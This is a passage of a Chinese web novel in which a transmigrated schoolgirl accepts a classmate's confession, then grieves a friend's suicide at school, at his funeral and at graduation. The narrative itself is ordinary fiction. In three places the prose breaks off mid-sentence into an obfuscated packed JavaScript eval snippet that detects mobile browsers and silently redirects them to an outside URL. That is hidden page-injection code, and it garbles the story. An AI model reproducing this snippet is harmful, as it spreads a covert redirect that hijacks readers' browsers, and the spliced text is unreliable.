他声音很轻。 “毕业后，要不要试着和我在一起。” 砰！ 天边骤然炸响礼毕的最后一束璀璨的花火，耳边传来烟火绽放后闪烁的声音，紧接着是轰动教学楼的同学们齐声的欢呼声。 如此轰然的声响中，也没有盖过叶舒的心跳声。 叶舒怔在原地，慌乱回味这句话的含义，相比起意识到易川喜欢自己这件事，更令叶舒更惊讶的是易川向她告白。 她没想到，易川有一天会选择主动捅破两人之间的这层纸。 其实，她早就意识到易川可能喜欢自己了，只是自己一直不愿接受。 一直在自欺欺人。 虽然不愿意承认，但是叶舒可耻地发现自己第一反应似乎是欣喜。 然而，很快，欣喜便被一股莫名而来的酸涩淹没。 叶舒想起原世界易川拒绝自己的场景。 同样在学校走廊，只是白天变成黑夜，但本质还是变了。 这个世界的易川喜欢她。 年少时，自己似乎幻想过这样的场景，随着年龄增长，她早已不希冀这样的梦幻童话。 想要时始终得不到，不想要时却不期而至了。 真是造化弄人。 叶舒默默苦笑了下。 然而，当这样的场景真实在面前出现的时候，她还是犹疑了。 最后的烟火渐散，叶舒转身，避开易川炙热的视线，攥着衣摆的手却压制不住的颤抖。 “我......我......” 叶舒第一次结巴了。 她不知如何回应身边的少年。 在这场犹豫纠结的时刻，叶舒惊讶地发现自己竟多次想要脱口而出：好。 可是...... 大概是见叶舒迟迟没有回复，易川也知道答案了。 有的时候，没有回答就已经是回答了。 “你不用现在回复我。”他朝她弯了弯唇，像是安慰她，又像是安慰自己，“于你而言，确实需要好好斟酌一下。” 易川看向楼下渐散的人群，声音很轻，像是下一秒就要被风吹散了。 “回去吧。” 易川勾了勾手，将愣神的叶舒拉下楼。 61. 意外 直到回到教室，叶舒脚步还有些飘忽。 烟花活动结束，便直接放学了，教室内同学走了一半，剩余的人闲谈着收拾东西准备回宿舍。 叶舒迷茫地收拾着东西，看着窗外来来往往的人流。 系统的声音在耳边催促道：【你在犹豫什么！肯定是答应啊！】 思绪这才逐渐一点一滴回神。 叶舒想起自己与易川的过去。 又想起自己的任务。 易川现在向她表白，无意中让叶舒进退两难。 答应，可能会影响学业；不答应，伤了他的心与自己与他的关系，似乎也会影响学业。 刚才昏暗中，易川的表情虽然看不真切，但是即使是黑夜里，他的眸色也如烟火般璀璨。 炙热的，诚挚的。 眼睛是不会骗人的。 他真的喜欢自己了。 她这才发现，对上那样的眼神，自己很难说不。 脑子还没反应过来，身体已经先做出了选择。 叶舒冲出了教室。 隔壁9班只剩下零星几人，早已不见易川身影——他应当早就走了。 没有犹豫，叶舒直接下楼，朝食堂跑去。 高三后，易川与叶珩晚上去食堂吃夜宵的频率便多了起来，只是叶舒也没有把握今晚是否能在食堂遇见易川。 但是…… 还是得试一试。 晚风在耳边呼啸而过，随着奔跑，路过的落叶随之飘起，发出沙沙声。 黑夜中教学楼灯火通明的暖光在两侧飞快后退，风落在叶舒身前。 没一会儿，眼前出现明亮的一栋建筑。 叶舒停下脚步，脚步声和风声褪去过，周围只剩下从食堂里传出的热闹的人声。 她步伐放缓，有些犹豫迟缓。 易川与叶珩夜宵时间时常坐在食堂最里面的角落里。 今天角落那排坐着几名以前9班的人在谈笑风生。 然而，熟悉面孔里就是没有易川与叶珩。 看来他俩没来。 叶舒沉了口气，说不上来是轻松多点还是遗憾多点。 “叶舒。” 听见声音，叶舒愣住，随后怔怔地回头。 易川站在她身后不远处，周围来往的人在他身周黯然失色，黑发下深邃的眼眸透着一丝浅浅的讶异，似是没想到叶舒独自在这。 高三后，叶舒晚自习后总会多留一会儿学习，最后再一个人回宿舍。 况且，易川刚将她送回班级不久，也没想到那么快便会在食堂遇见她。 叶舒抬步，朝他走近。 “你怎么在这？” 两人的声音同时响起。 叶舒深吸了口气：“关于你刚刚的问题，我想现在就回答你。” 易川环视一周，眉头微蹙：“在这？” 周围充斥着学生们的说话声与碗筷碰撞声，不时还有路过的男生大声喧哗。 叶舒：“......” 好像......确实不是说话的地方。 嘈杂的环境音里，叶舒似乎听见易川轻笑叹息了一声，“其实你不用那么快回复我......” 叶舒：“好。” “......” 听见叶舒的话，易川一时没反应过来她这话的含义：“......好？” 叶舒注视着少年墨色的瞳孔，看着略显茫然的少年又重复了一遍： “好，我答应。” 男生眸色骤然转深，“考虑好了？不是玩笑？” “嗯。” 叶舒回得很快，虽只是一个音，但很果决。 因为她已经确认过了。 在心里已经确认过几百回了。 易川的目光倾斜而下，将叶舒默默包围住，片刻后，他低头释然地弯了弯唇。 周围的声音好像也逐渐离两人远去，万籁俱寂，半晌，叶舒听见了他回： “好。” - 距离高考还有三个月。 清晨，下了场春雨。 连绵的雨丝坠落，渐浓的春日色彩隐于朦胧间，许多学生雀跃地来往于教学楼各处，似乎距离高考还有很远很远。只是，夜深人静，奋笔疾书之时，才会流露出些许痛苦。 早读课后，公布了三模的成绩。 即使是成绩最优的重点班，依旧是几家欢乐几家愁。 叶舒正准备出教室，便被凌熙拉住：“去干嘛？” “去找易川王朗问问成绩。” “还加什么王朗啊，主要是想找易川吧~”凌熙眯着眼打趣她，“你俩越来越腻歪了，放学也老一起走，你俩不会~~” 叶舒拿开凌熙作乱的手，笑着解释：“没有，我先去打水了。” 说完，她便逃也似的离开了教室。 凌熙慢一步跟了出去，望着叶舒的背影，眼里调笑的意味更浓：“打水？水壶都没拿还打水。” 课间，各个教室陆续走出学生，大部分睡眼惺忪，俨然一副被早课“荼毒”的模样。 相比起其他班级的热闹，9班今日显得格外安静，尚未有人出教室，教室外静悄悄的，晨间的鸟鸣声咕吱咕吱叫着，听着有些嘶哑低迷。 叶舒凑近往里望，里面的人的脸色都很沉重，像是绝望深处又遇见了什么可怕的事，脸阴沉得可怕。 正奇怪着，教室后门出来了一个蓝色的身影。 正是易川。 叶舒上前迎去，刚想开口喊他名字，便注意到今日的易川甚是古怪。 他双眼无神，表情也似刚刚从窗户里窥见的那些同学们一样，他脚步虚浮，仿佛下一秒便要跌倒。 叶舒忙上前，虚握住他的手臂：“你怎么了？” 她感受到，他好像在颤抖。 听到叶舒的声音，易川似乎才逐渐回过神，他的眼眸缓缓聚焦，看向叶舒，声音沙哑：“王朗......” “什么？”叶舒没听清。 易川又重复了一遍王朗的名字，只是声音更小了，叶舒依稀从口型认出他说的是王朗的名字。 “王朗？王朗怎么了？”叶舒心里腾起了一阵不好的预感。 “王朗走了。” 消沉的话音从身后响起。 叶舒忙回头看，叶珩站在她身后，也是一副浑浑噩噩的模样。 走了？ 这次叶舒立刻想起先前江菱和陆雯的事，心起一阵恐慌，这次系统又给她安排什么戏码？ “走去哪——” “王朗自杀了。” 叶舒还没说完，叶珩便说出了这一噩耗。 ...... 像是沉入了深不见底的海，耳朵被沉重的气压压着，听不见任何声音，四肢百骸顷刻间变得麻木无力，好像随时就要沉入海底，再也无法清醒过来。 叶舒无意识地后退了几步，被凌熙搀住。 凌熙声音颤抖，但还是尽力镇定说：“你不要开这种玩笑，你、不可能的，这话不能乱说的。” “是真的。” 叶珩低着头，不愿看着两人，脖颈处青筋凸显终又落下，说出这话，好像用了他全身的力气。 凌熙冻在原地。 春天已至，气温回升，微风拂面，后背却已渗出一层冷汗。 “不会的......找陶珠。”叶舒已经不知道自己在说什么，只是一味地握紧凌熙发冷的手，带着她跑向教室办公室。 景色糊成色块飞快地从两人身侧向后退去，奔跑中，凌熙还踉跄了一下，但很快整顿好跑向办公室。 “陶老师。”叶舒和凌熙来不及顺气，便脱口而出，“王朗、王朗他......” 听见王朗的名字，陶珠眉心微动，本就有些疲态的脸立刻又爬上了些阴郁。 面对两双真挚清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027113|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澈的眼睛，她不忍心地张了张口：“王朗......他，他跳楼了。” 砰—— 好像有什么东西在脑海中崩断了。 叶舒呆呆地看着陶珠的嘴唇一张一合： “昨晚深夜的事......” “怎么可能......”凌熙呆滞着喃喃道。 陶珠眼睛也红了。她尚且年轻，从未遇到过这样的事，这学期王朗申请了走读，每晚晚修后便会回家，不在学校住宿。 前段时间王朗偶尔请过假，但频率少，所以这周王朗请了两天假时，陶珠便没放在心上，只是提醒王朗，临近高考，和父母说不要动不动请假，课业先放第一位。 没想到，那竟是她与王朗的最后一句话。 陶珠甚至在想，若是自己不同意王朗的请假，是不是就不会发生这些了。 看着面前呆滞的两名女生，陶珠吸了吸鼻子，打起精神：“叶舒，我知道你很难过，王朗遗留下来的东西里，有一些话，提及了你和易川。我想，还是给你看一下。” 陶珠拿起手机，翻到与王朗母亲的聊天记录，然后递给叶舒和凌熙。 叶舒四肢无力，差点拿不稳手中的手机。 消息框里有几张图片，图片内是写的密密麻麻的练习本，字迹潦草，涂改部分也多。 就像王朗平日的英语作文。 “爸，妈，其实动笔写这些的时候，感觉自己可矫情。可是我还想说，请原谅我的胆小懦弱，我累了，想到未来要一直看着你们这样折磨彼此，折磨我，想想我都觉得可怕。 以我现在的成绩，再努力不过也只是个普本，达不到你们的预期，与其届时又成为你们吵架骂我的导火索，倒不如现在就解决痛快。 我以为我会长篇大论，没想到现在就感觉没什么好说了。你们说我是你们的累赘，是苦难的源头，所以我在想，如果我不在了，会不会，你们就此好受点？ 总之，如果我真的不在了，希望你们和和睦睦。如果没办法和睦，还是分开吧，不用再耽搁彼此，也不用每天看着对方厌烦怨怼。希望你们身体健康，早日脱离你们自己造就的苦海。 今天校卡忘带了，易川帮我付了饭钱，不知道还有没有机会还你钱。爸妈，你们要是看见这东西，大概率就是我不能还他钱了，帮我和易川说声谢谢，然后还了哈哈。这时候还要麻烦你们真是不好意思。易川是我在学校里最好的朋友，不知道他知道这些会是什么表情，真想象不出他哭的样子，可能他也不会哭？ 还有叶舒、陆雯，虽然陆雯不在学校了，但我想叶舒会帮我转告的。虽然平时总和叶舒对骂，但要真算我在学校有什么说得上话的女性朋友的话，就只有叶舒了。我也想象不到你要是看到这话会不会觉得幼稚，可能也会流一滴泪吧，哈哈我也不知道。 希望你考上心仪的大学，我相信你的实力，一定可以考上长菁。也不知道长菁到底什么样，替我好好看看！对了，帮我转告陆雯，要坚强开心生活，不要像我一样。当时和她同桌时我还觉得她很开朗，没想到，大家原来都有苦不堪言。不过我想她应当比我好点，毕竟她的父母对她很好。所以，麻烦告诉陆雯，和她成为同桌的那段时间很开心，祝她天天开心。 希望大家都天天开心，都好好的。 我会保佑你们的。” ...... 笔墨印迹不一，大概前后不是同一时间写的。 倒真像王朗的风格，想到什么写什么。 凌熙红了眼眶，看向一旁的叶舒。 叶舒呆呆的，双眼无神，像是失了魂一般，叶舒从来都给人一种冷静、运筹帷幄的感觉，凌熙从未见过她这副模样。 她试探性地喊了声叶舒的名字，叶舒没动。 须臾，叶舒软了身子，向前倾去。 “叶舒！” ...... 窗外的雨还在下，似乎更大了。 62. 葬礼 王朗的葬礼就在事后的第二天。 恰好是周日。 天气格外的好。 前些天一直在下雨，度过了乌压压的两天，今日便放晴了。只是心情似乎并没有见好，依旧像前两天一般，阴霾压在心头，死气沉沉。 殡仪馆内，厅内正中间，放着王朗的照片。 仪式开始后，周围静悄悄的，只听见王朗母亲持续且轻微的啜泣声，王朗父亲则沉默整理事宜，肿着眼睛，眼下乌青明显。 静海高中高三生在家中跳楼自杀这事上了本市新闻，根据报道以及王朗留下的话不难猜到，父母不和，时常闹离婚，却又迁怒于王朗，王朗在家庭与学业高压下，最终选择了这样结果。 据王朗父母自己坦言，有时候气急会对王朗说些嫌弃怨怼的话，嫌他成绩落后，怨他是争吵的源头。 可当王朗真的默默选择了结自己后，他们又心痛不已。 然而，罪魁祸首何尝不是他们。 笼中的鸟，最终通过这个方式，得到了飞翔。 仪式来了许多人，有不少是静海高中王朗的同学，皆身着素色衣服站在人群后面，双眼茫然且空洞地望着王朗的照片，无法适应前几日还在身边大笑的人如今永远地离开了大家，更无法想象热情开朗的王朗选择以这么痛苦的方式离开人世，背后竟是因为这样的原因。 ...... 吊唁仪式，众人轮流上前递白花。 恰逢假期，江菱回国了，将花递上后，抽泣着将花放进了筐中。 叶舒仰着头，竭力忍着自己的泪，握上江菱与陆雯微凉的手，以期安慰她们。 却没想到，自己的手好像更凉。 叶舒望向大厅另一侧，曾经同班的男同学们相继将花放进筐内。 易川与叶珩也在人流里。 易川低着头，白炽灯下，易川额前的刘海投下一大片阴影，只能看见他抿直的唇线，他的身形稍显单薄。 放完花后，他缓缓转身，回到大厅角落。 ...... 仪式结束后，江菱与陆雯回家，其他人等则打车去学校，各自回归原来的生活。 叶舒坐在后座中间，易川坐在副驾，凌熙与叶珩坐在她两边。 四人皆沉默着，一开始的士司机见是学生还尝试搭讪说话，见四人表情皆阴郁消沉，便不再说话。安静的车厢内，只听见汽车打表计时声。 凌熙低着头，脸上还有适才哭过的泪痕。叶珩倚靠着窗，看着窗外，看不见他的神情。 想也知道不好受。 叶舒心绪乱作一团，静不下心，只要停下思考，脑中便窜出与王朗先前的种种。 若是王朗还在，这个周日，叶舒一到校他定会说： “周末作业写完没？借我看看！” 叶舒：“不给。” 王朗：“怎么这样？我把你当好兄弟，你不能连个作业都不给我看看吧？” 叶舒定会浅浅翻个白眼给他，然后说：“我是女的，谁是你兄弟？我不稀罕。找别人。” 其实每次王朗来要试卷，叶舒都给了他，只是嘴上不饶人。 一想到这周卷子给不出去，真还有些不习惯。 一滴泪落在手背上，滑落至校服布料上，消失不见。 叶舒揉了揉眼睛，无力地靠着椅背，看向远方。 目光侧移，叶舒注意到副驾的易川，他正目视前方，目光虚焦，不知在想什么。 从叶舒的角度看过去，少年的眼尾泛着红。 王朗是他最好的朋友。 ——王朗，易川哭了，可惜，这次你开不了他玩笑了。 ——你可真是和大家开了一次好大的玩笑。可是这个玩笑，一点也不好笑。 车子驶向熟悉的路，阳光落在玻璃窗上，折射出刺眼的光芒。 许多事接连发生，回头看发现也不过才几日。 走的人走了，留下的还得继续生活。正如现在，不过一个小时，又得被不得已的生活裹挟着逼迫前进，回归日常的生活。 可是，还是有什么东西不一样了。 - 晚自习课间。 圆月高挂，泛着冷清的光。走廊内依旧热闹非凡，热闹之中，几声抽泣显得格外突兀。 “我还是......不敢相信，王朗不在了。”凌熙杏眼肿成了核桃，手颤抖着抹着眼泪。 叶舒看着她这样，心也难受，鼻间泛酸，吸了吸鼻子，随后帮她擦了擦脸上的泪水，可是泪痕才被擦去，便又有新的泪覆盖。 叶舒安慰她：“我也不相信。但说不定......他还在的，他默默地看着我们。” 闻言，凌熙哭得更大声了。 “凌熙，你怎么了？” 贺琛突然出现，见凌熙泪如雨下，慌忙上前问询：“你怎么了？” 他从未见过凌熙那么伤心，无措地看向叶舒，企图从叶舒那获得凌熙难过的信息。 凌熙抽泣着说没事。 她不想说，也不知道从何说起。 “考差了？是学习上的事吗？”迫近高考，贺琛以为凌熙是由于压力太大所以才如此，他见凌熙哭着不说话，便看向叶舒 昏暗光线下，叶舒只是摇了摇头，看起来神情也不好：“没事，让她休息会吧，待会晚自习凌熙晚点回去，可以吗？” “好。” 贺琛应允后，叶舒便带着凌熙走向走廊另一边人少的平台。 叶舒陪着凌熙，靠在栏杆上，看着楼下穿梭着的学生。 凌熙呆呆地看了半晌，开口：“我多希望我也和他们一样，什么都不知道，就可以像之前没事人一样。” 叶舒循着她的视线望下去，缓缓开口：“这件事上了新闻，又是本校的事，他们应该是知道的。” “不过不是当事之人。”凌熙看了眼楼下欢闹的场景，随后收回眼，默默擦了下眼角的泪水，“当事之人才能体会那痛苦。” 叶舒嘴唇翕动，想安慰她又怕说出的话太凉薄。 最后只能默默抚上她的肩膀。 “都会好的，都会过去的。留下的人依旧要好好活着。王朗只是去了另一个地方，他应当也不会想见到我们这样难受。” 话音落下，陷入沉默。 半晌，凌熙疲惫地说：“我想先一个人静一静，你先回去吧，待会要打铃了。” 叶舒盯了她的侧脸一会，“好。” 一个人待会也好。 叶舒返回教室，盯着走过了三年的地面。 脚步浸过水一般沉重，让人脑袋昏涨，昏暗的光线下，灰色的地砖也像是迷雾中张牙舞爪的黑色怪物。 前头落了一道阴影，叶舒低着头下意识避让，却被一双鞋拦下。 她抬头。 映入眼帘的便是易川的脸。 他垂着眼睑注视着她，乌黑的眼睫微颤，清亮的眼眸中布满阴霾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037075|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“有空吗？” “嗯？” “有话想找你......单独说说。” 叮咚—— 晚修的上课铃声适时响起。 易川似乎还想说什么，叶舒先一步开口。 “好。我也有话想和你说。” - 贺琛不放心凌熙，时不时出教室出来瞧瞧。 铃声一响，他在人群中恰好看见叶舒的身影。 刚想开口喊她，下一秒，贺琛的话便堵在原地。 他看见，叶舒与易川逆着人流朝教室的反方向走去。 可是铃声已响，他们去哪？ 下意识地，贺琛想上前叫住叶舒。 “贺琛。”身体被一股力量拉回，贺琛转头，发现是林康叫住了自己。 贺琛：“怎么了？” 林康望着叶舒与易川的身影消失在黑暗中，随后看回贺琛，沉声道：“让她去吧，今天......她应该需要单独待会。” - 楼道间。 如今晚修已开始，教学楼里静悄悄的。楼梯间内没有光，只有稀薄的月光透过窗口落在阶梯上。 易川靠在窗边，逆着光，他的脸隐在阴影中，看不清情绪。 “我依旧不相信王朗走了。”叶舒轻柔的声音在空旷的楼梯间内稍显空灵，“我总感觉王朗只是去旅游了，过几天便能看到他了。” “或许，他就是去旅游了。” 易川安慰的话语在空间内响起，他语调平静，声音却哑得像被石子划过。 听见他这话，叶舒脑子反应了许久，才木然地点了点头：“旅游也好，去更多的地方看看，不要困在在一隅之地里。” 叶舒低下头。 “只差三个月。”叶舒声音很轻，轻得发颤，“只剩三个月，王朗就可以摆脱了。” 四下无人的场景里，叶舒终于哽声，泪水从眼眶中流出。 不需要故作坚强，也不需要安慰人，她终于可以停下来安慰安慰自己。 只要再忍几个月，王朗便可以逃脱那样窒息的氛围了。 可是，他还是选择了结了自己的生命。 肩头落下一点温度，叶舒抬眼，发现易川不知何时坐在了自己身旁。 他双手交叠，看着月光落下的地方。 “或许，对他来说，这是解脱。” “是啊，”叶舒自嘲地笑了声，厌恶自己刚刚的想法，“我不是他，又怎么能体会他的痛苦呢。” 叶舒何尝不知道王朗定是长时间处在极大的绝望下，完全看不到希望，不然，他也不会以那么痛的方式结束自己的生命。 可是。 真的好难过。 无论是原世界还是这个世界，王朗都在叶舒的高中时期占据了很大一部分欢乐的记忆。 两次。王朗都是她最好的异性朋友。 可是，她竟没有看出王朗的一丝端倪。 “都怪我。”叶舒喃喃道，“都怪我，如果我一开始发现就好了。” 都怪我。 原世界没有这样的。 是她的出现，让一切都脱离轨迹了。 想到这，叶舒鼻尖酸涩，再也压制不住内心的情绪，头埋在臂弯里痛苦，泪水簌簌落下来，打湿了衣襟。 大哭一场吧。叶舒在心里对自己说。 臂弯忽然被一股暖意包围，叶舒微微抬头。 易川的脸近在咫尺。 63. 他没有走 叶舒愣住，瞪大了眼睛。 易川轻轻拥住了自己。 呼吸间，闻到少年独有的木质清香，环绕在周围。 紧贴的身躯，两个人的心跳逐渐重合。 离得近，叶舒注意到，易川眼角也有些湿润。 他应当也很难受才是。 十几岁的少年，哪里想过死亡。 但事实就是，死亡真的是忽然降临的。 “不怪你。” 易川的声音在耳畔响起，离得近，叶舒甚至能感受到声带的震颤。 叶舒垂眸，声音埋在臂弯内，闷闷的：“你不懂。” “我懂。”几乎是瞬间，易川便回答了她。 叶舒缓缓抬头，对上他专注的目光，他眼底的温柔和认真一览无遗。 “正如你所说，我们都不知道王朗家里是那样的状况，所以没办法知道。”说完，易川嘲弄地勾唇，“只能说，王朗他藏得太好了。” 他藏得太好了。 也是她太粗心了。 王朗那么开朗活泼的一个人，她竟从来没有一丝看出王朗背后的痛苦。 就算原世界的王朗并没有有事，可是这个世界一直陪伴着她的王朗也是实实在在地离开了。 真的很难受。 她想不开，完全想不开。 叶舒：“如果我早知道，或许就能让他、让他......” 让他什么呢。 话说到一半，叶舒才发现，自己什么都做不了。 她改变不了王朗的处境，最多只能给他些安慰。 可是安慰在这件事里是最没用的东西。 如果她真有金手指就好了。 为什么这个世界将她的生活一切都打乱，可是却没有给她半点能力。 叶舒低头，无奈地轻笑一声：“或许，能让他好受些吧。” 易川没说话，叶舒只感觉那双搂着自己的手更紧了。 空荡的楼道间，只剩沉默在游走。 叶舒想到什么，突然抬起头，撞到了易川的下巴。 “啊......” “对不起！” 本来伤心的氛围被这插曲弄得有些诙谐。 “没事......”易川狼狈地捂着下巴，诧异地瞧了她一眼，“你干嘛。” “我其实是想说，”叶舒摆正易川的身子，迫使他直视自己，“你要是有不开心的要和我说，不要憋在心里。” 千万不要轻生。 这句话，叶舒没敢说。 叶舒刚哭过，那双微微上挑的眼睛，在月色的映衬下，泛着粼粼的光，平添几分楚楚可怜的意味。即使眼睛和鼻头都哭红了的情况，还认真紧张地看着他。 叶舒向来冷静自持、游刃有余，无论发生何时都是理性当道。 这是她第一次哭。 在他面前。 也是，好朋友毫无征兆地离世，叶舒是人，怎么会不难过。 易川看着稍显狼狈的叶舒，内心泛起一丝暖意，但看着那双真挚的眼睛，他笑不出来。 他伸手，轻轻抚上叶舒的头顶，说： “好。” 昏暗的楼道内，两道身影坐在台阶上。月光从窗口处落下，将两人的影子拉得很长。 “希望王朗真的解脱了，来世做个无忧无虑的孩子。”想了想觉得不妥，叶舒摇了摇头，又说，“或者不要有来生，只是做个游魂，或者一粒尘埃。” “我曾经看过一段话。” 易川望着圆月，低沉的声线在空旷的楼道内更显磁性，带着些许回音。 “出生时，无数个宇宙微粒构成了人的□□，而死亡，则让这些原子以另一种方式存在于这个世界上。根据能量守恒定律，宇宙中的能量不会凭空消失，只是以另一个形式存在在这个宇宙里。人体里的碳，散逸到空气里，或者融入雨水里流入海洋；而人体内大部分的水分子，会蒸发到大气或土壤里，最终可能会变成雾，变成云，也有可能被光解离产生氢原子，通过扩散，飞进散逸层，逐渐脱离地球，去往别的星球。” “所以，说不定他真的会变成一粒尘埃，出现在我们身边。” 叶舒静静地听着，然后说：“那我可得说了。” 易川面露疑惑，随后见叶舒仰头提高了声音说： “我很想你，王朗。” 说完，叶舒茫然地垂下眼睛，心里感觉空了一口大洞。 她侧头，看向易川，说：“他会听到吗？” 易川轻轻嗯了一声：“他会知道的。” 两人许久没说话，只是静静地靠坐在一起。 不知过了多久，易川先行起身，他转身，俯身将手伸向叶舒眼前。 叶舒抬眼望向他。 安静的注视下，易川轻柔的声音传来。 “回去吧。” ...... 晚修放学后。 叶舒坐在座位上，以往她总会多留一会儿，多做几道模拟题，可如今脑海一片空白，白纸上的黑字在眼前变成了不规则的涂鸦与笔画，让人看不明白，只能木然地看着，无从下笔。 “叶舒。”贺琛走到叶舒桌前，微蹙着眉，眼中流露着歉意，“对不起，我不知道那个人......就是你们的朋友。” 贺琛后知后觉还有些怅然和害怕，毕竟作为叶舒和凌熙的共友，他对王朗的印象很深。 是个乐天派的幽默男生，时常来找叶舒。 天天能见到的人忽然就这么走了......这是他第一次对死亡这个词的可怕含义有切身感触。 他都尚且如此，更何况叶舒和凌熙。 叶舒摇摇头：“没事，你什么也没做又有什么错。” 叶舒沉浸在悲伤中，贺琛见叶舒没什么反应，仍内疚不已地解释：“主要是我不应该打破砂锅问到底的......如果不是林康告诉我，我还不知道，对不起。” 林康...... 听见这名字，叶舒稍稍抬眼，随后安慰贺琛道：“真没事，你又不知道。而且你只是想安慰凌熙，凌熙那么了解你，肯定也不会觉得有什么。” 叶舒都这么说了，贺琛便也不好再说什么，感觉什么安慰的话在此刻都显得苍白，只能道了句早些回寝便离开了。 …… 叶舒收拾完东西，教室内已不剩多少学生，零零散散地分布着，聊着题目的事。她走出教室，见不远处林康拿着扫把与笤帚。 今天轮到他当值了。 他扔完垃圾后，朝教室走来。 林康越走越近，注意到叶舒的身影，他无意识地撇开眼，避开与叶舒对视。 “林康。” 叶舒叫住他。 林康脚步一顿，缓缓回身看向叶舒。 叶舒走近他，“谢谢你。” 闻言，林康立刻明白她是因为什么事说这个，有些不自在地别过脸，挠了挠头。 “不用谢我，举手之劳而已，我只是......”林康沉默了一会儿，脸上浮现出落寞的色彩，“我只是觉得，应该这么做而已。” “葬礼......我不知道这事，所以没去，也算是弥补点什么吧。”林康发出一声几不可闻的叹息。 他也说不清，只是觉得做这些心里会好受些。 “谢谢。”叶舒扯了个笑，笑容却苦涩得像是喝了口难喝的中药，“没去也好。没去的话，总觉得他还在。” 林康沉默了。刚知道这传闻的时候，他也不敢相信，可是，现在也不得不接受这个事实。 他看向眼尾有些泛红的叶舒，唇瓣张张合合多次，犹豫许久，最终还是开口说：“节哀。” “逝者已逝，留下的人好好生活，好好学习......”林康不善安慰人，变得有些不知所言，“相信王朗也是这样想的。” “谢谢。” 安慰点到即止即可，说多了也枉然。 叶舒看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043977|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着林康返回教室，不知出于什么心理，她没忍住，还是喊住了他。 林康疑惑转身。 “你也好好生活。”叶舒静静地看着他，“你会考上理想院校，成为你想成为的人的。” 林康没反应过来，愣了一瞬，但很快回过神朝她道谢： “借你吉言。你也会的。” 或许有些东西，是突然就懂了，有些事情也就是突然释怀的吧。 - 盛夏午后，艳阳高照，刺眼的阳光光线在操场上肆意挥洒。 距离高考还有20天。 操场中央，一众学生排着队，面前摆着一座极长的阶梯战架。 凌熙拿着小风扇吹着，不满地抱怨道：“好热啊，什么时候能开拍啊？” 为了今天毕业照，她还偷偷摸摸化了淡妆。 然而，烈日下，她的鬓角现已开始出汗，粉白的脸逐渐热得通红，怨声载道的模样像只气鼓鼓的小鱼。 在这闷热的状态下久等，学生们的埋怨声此起彼伏。 叶舒也着了淡妆，唇瓣殷红。 她依旧扎着高马尾，饱满的后脑勺与优秀的五官组成一道优美的侧脸曲线，在这炎热的天气下，她脸颊也透着粉红色，倒显得有些可爱。 看她正发着呆，凌熙戳了戳她的脸颊：“你在干嘛？” 叶舒恍然回过神，摇了摇头：“没事。” 凌熙想到什么，邪魅一笑：“现在毕业了，你和易川......” 叶舒避开她那灼热的目光，无奈笑了笑：“你饶了我吧。” 凌熙：“说起来，易川、叶珩他们在哪呢？” 叶舒下意识往隔壁班望去，蓝白相间的队伍中，人影憧憧，一时找不到那个熟悉的身影。 “噢！在那！”凌熙朝队伍后面一指。 叶舒循着她手指的方向望去，嬉笑打闹的男生队伍中间，伫立着一个挺拔的身影。 他大概是理发了，原本隐在留在碎发下的眉眼如今清晰地展露出来，剑眉星目，丹凤眼眼尾微扬，仅仅只是站在那里，周围所有鲜艳的颜色都好像黯然了些。 像是某种感应，他稍稍抬眼，望叶舒和凌熙这里看过来，然后对上了叶舒的目光。 他有一瞬间的怔然，但很快便勾了勾唇，眼里噙起笑意，冲两人笑了笑。 凌熙：“哇哦~你们这个氛围，还不在一起吗？他要是不捅破那层纸，你也可以主动问嘛！” 叶舒也不想瞒着凌熙，喃喃道：“应该，算是，在一起了吧......” “......” 几秒后。 凌熙：“哈？！” 广播里开始传出教导主任洪亮的声音：“现在听摄影师的指挥，从1班开始，有序登上站台架。小心台阶！不要交头接耳！......” 片刻后，9班的人按身高排好队伍陆陆续续上了站台架。 叶舒望着易川和叶珩一前一后的身影，有些出神。 凌熙的声音在耳后响起：“你在看易川和叶珩吗？” 凌熙的声音在耳后响起：“时间真快，以前看着那些高三拍毕业照总觉得羡慕，好像还很遥远。” “是啊，”叶舒喃喃附和着，“我在想，要是人齐就好了。” “......”凌熙没吭声。 她听懂了，叶舒的言外之意。 半晌，凌熙才轻声开口：“是啊，要是王朗也在就好了。” “9班的班级毕业照会将王朗P上去。可惜年级照太多人了，不归班级管，P不了。” 叶舒脸上是宽慰的神情，可语气还是让人听出遗憾之意。 不知从吹来一阵风，拂过叶舒和凌熙，将两人的发丝缠绕在一起，并带来一阵清凉，一整天都毫无风的炎热天里，这阵风来得蹊跷。 凌熙微怔。 叶舒回头，擦了擦凌熙额角的汗，将她耳边的碎发理好别至耳后：“或许，他来了。” 64. 高考 终于轮到10班上台，叶舒和凌熙相互搀扶着上了高高的站台架。 在下面看的时候还不知道，没想到这站台架挺高，低头一看，只能看到乌泱泱一片人的头顶。 